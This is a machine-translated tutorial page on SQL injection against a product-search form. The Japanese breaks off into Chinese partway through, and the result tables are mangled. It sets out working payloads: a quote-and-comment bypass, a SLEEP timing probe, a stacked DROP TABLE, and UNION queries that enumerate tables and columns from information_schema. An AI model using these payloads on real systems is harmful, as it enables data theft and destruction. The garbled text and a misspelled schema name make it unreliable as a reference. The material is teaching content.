##SQL インジェクションの基本原則
WEB テクノロジーは急速に発展していますが、素手で SQL を綴るという伝統的な技術は依然としてかなりのユーザーに好まれています。開発者が少ない。結局のところ、一連の複雑な ORM ルールを学習するよりも、手作業で行う方が便利で直感的です。通常、自分で SQL を書く人は、SQL インジェクション が危険であることを聞いたことがあるはずですが、彼らは常に次のように考えています。「私の SQL ステートメントは非常に単純なので、インジェクションすることはできません。」
簡単なシナリオ
製品名を入力し、対応する価格、製造日、製造場所の情報を表示する WEB インターフェイスがあります。たとえば、「ハンマー ディスプレイ」と入力します。Price | Place ofproduction | Date ofproduction | |
---|---|---|---|
12.98 | アメリカン | 2019.11.07 | |
29.98 | カナダ | 2019.11.11 |
。 上記の機能を実現したい場合、サーバーで使用される SQL ステートメントは次のとおりであると大まかに推測できます:
SELECT ? FROM ? WHERE ? LIKE '%Hammer%';
where? は、現時点では具体的な内容がわからないことを意味します。テーブル名とフィールド名であり、この SQL は一意です。操作できるのは、シングルクォート '%Hammer%' 内の入力内容です。検索ボックスに一重引用符を直接入力した場合。つまり、
select ? from ? where ? Like '%'%';
になります。このように結合すると、SQL 構文エラーが発生し、結果が得られません。
-- を使用して、最後の単一をコメントアウトする必要があります。引用。 <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:sql;toolbar:false;">select ? from ? where ? Like &#39;%&#39;; -- %&#39;;</pre><div class="contentsignin">ログイン後にコピー</div></div>
の後にコメント内容が続きます (# も使用できます)。これにより、すべての製品情報を取得できます。匂いを嗅いだことがない、危険信号だ。
生産地 | 生産日 | ||
---|---|---|---|
アメリカン | 2019.11.07 | クラブハンマー | |
カナダ | 2019.11.11 | 果物ナイフ | |
中国 | 2019.11.11 | 骨抜きナイフ | |
中国 | 2019.01.01 |
# 前のステップの展開可能な一重引用符の部分をそのままにしておきます。単純な遅延ステートメントを試してみましょう:
select ? from ? where ? Like '%Hammer%' and 1 = SLEEP(2); -- %';
select ? from ? where ? Like '%Hammer%'; drop table xxxx; -- %';
結合したいことは何でもしてください
このデータベースにどのようなテーブルがあるのかを知る必要があります。この方法でのみ有益な情報を得ることができます。
ユニオンを使用すると、さまざまなテーブルの内容を結合できます。試してみてください:select ?,?,?,? from ? where ? Like '%Hammer%' UNION (select 1,2,3,4 from dual); -- %';
生産地 | 生産日 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
アメリカ | 2019.11.07 | クラブハンマー | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
カナダ | 2019.11.11 | 1 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
3 | 4 | 可以看到我们把假数据1,2,3,4成功地拼接到搜索结果中。 Mysql系统自带的信息都存在information_schema数据库中。我们试着在里面找找有用的信息。 select ? from ? where ? Like '%Hammer%' UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %'; ログイン後にコピー
现在知道了这些数据库名和表名,所有人都对它为所欲为了!(包括上面执行的DROP)。 看着列表一猜就能知道我们目前查的是products表,接下来我们再把products具体的字段也挖出来。 select ? from ? where ? Like '%Hammer%' UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = 'products'); -- %'; ログイン後にコピー
所以,通过上面2步,我们知道了表名和字段名,那么查询API的完整SQL应该是(把上面的?都补全啦): select name,price,address,updated_at from products where name like '%Hammer%'; ログイン後にコピー 通过不断重复以上几个步骤,你就可以通过这一个小小的入口把数据库的所有信息(比如上面发现的user表 以上がSQL インジェクションの基本原理をすぐに理解するの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。
関連ラベル:
ソース:cnblogs.com
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
著者別の最新記事
最新の問題
部分的な値の条件でクエリを記録する - SQL スキルの共有
zipcode というテーブルがあり、code という列があります。コード列には、郵便番号のプレフィックスが含まれています (例: 395453302120312)。指定された郵便...
から 2024-04-06 16:01:26
0
1
395
関連トピック
詳細>
|